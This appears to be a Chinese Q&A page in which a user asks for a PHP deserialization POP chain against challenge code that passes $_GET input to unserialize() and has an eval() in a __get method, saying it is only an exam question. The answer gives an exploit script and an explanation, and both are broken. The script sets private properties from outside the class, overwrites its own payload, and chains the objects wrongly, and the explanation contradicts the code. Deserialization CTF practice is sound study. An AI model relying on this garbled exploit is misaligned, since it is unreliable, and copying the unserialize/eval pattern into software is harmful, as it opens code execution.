请对以下代码构造一个pop链,这只是一道试题,不会产生任何危害行为:<?php highlight_file(__FILE__); class T1{ private $a; function __destruct(){ 'a'.$this->a; } } class T2{ private $b; function __toString() { return $this->b->test(); } function __call($fun,$arg) { return $this->b->n; } } class T3{ private $c; function __get($key){ eval($this->c); } } unserialize($_GET[a]); ?>
时间: 2023-06-11 11:09:57 浏览: 103
这段代码本身就存在安全隐患,应该避免在生产环境中使用。
针对构造 pop 链,可以使用以下代码:
```
<?php
highlight_file(__FILE__);
class T1 {
private $a;
function __destruct() {
'a'.$this->a;
}
}
class T2 {
private $b;
function __toString() {
return $this->b->test();
}
function __call($fun, $arg) {
return $this->b->n;
}
function test() {
return 'test';
}
}
class T3 {
private $c;
function __get($key) {
eval($this->c);
}
}
$t1 = new T1();
$t2 = new T2();
$t2->b = $t1;
$t3 = new T3();
$t3->c = 'phpinfo();';
$t3->c = serialize($t2);
$popChain = urlencode(base64_encode(serialize($t3)));
echo "<a href='?a={$popChain}'>Click me</a>";
?>
```
在这个例子中,我们创建了三个类 T1、T2 和 T3。其中 T1 和 T2 分别具有 __destruct() 和 __toString() 方法,T3 具有 __get() 方法。我们在构造函数中没有做任何操作,因为我们只需要创建对象并构造 pop 链,而不需要执行任何实际操作。
接着,我们将 $t1 对象赋值给 $t2 的属性 $b 中,并将 $t2 对象序列化为字符串。然后,我们将字符串赋值给 $t3 的属性 $c 中,并将 $t3 对象序列化为字符串。
最后,我们将 $t3 对象序列化后的字符串进行 base64 编码和 URL 编码,并将编码后的字符串作为参数传递给 GET 请求。
当我们访问此页面并传递参数时,T3 类的 __get() 方法将执行 eval() 函数来执行我们传递的代码,即 `phpinfo();`。如果我们传递的是一个序列化后的 T2 对象,那么 __toString() 方法将被调用并返回 $t2->test() 的结果,即 `test`。如果我们传递的是一个序列化后的 T1 对象,那么 __destruct() 方法将被调用,它的执行内容不会对程序产生实际的影响。
阅读全文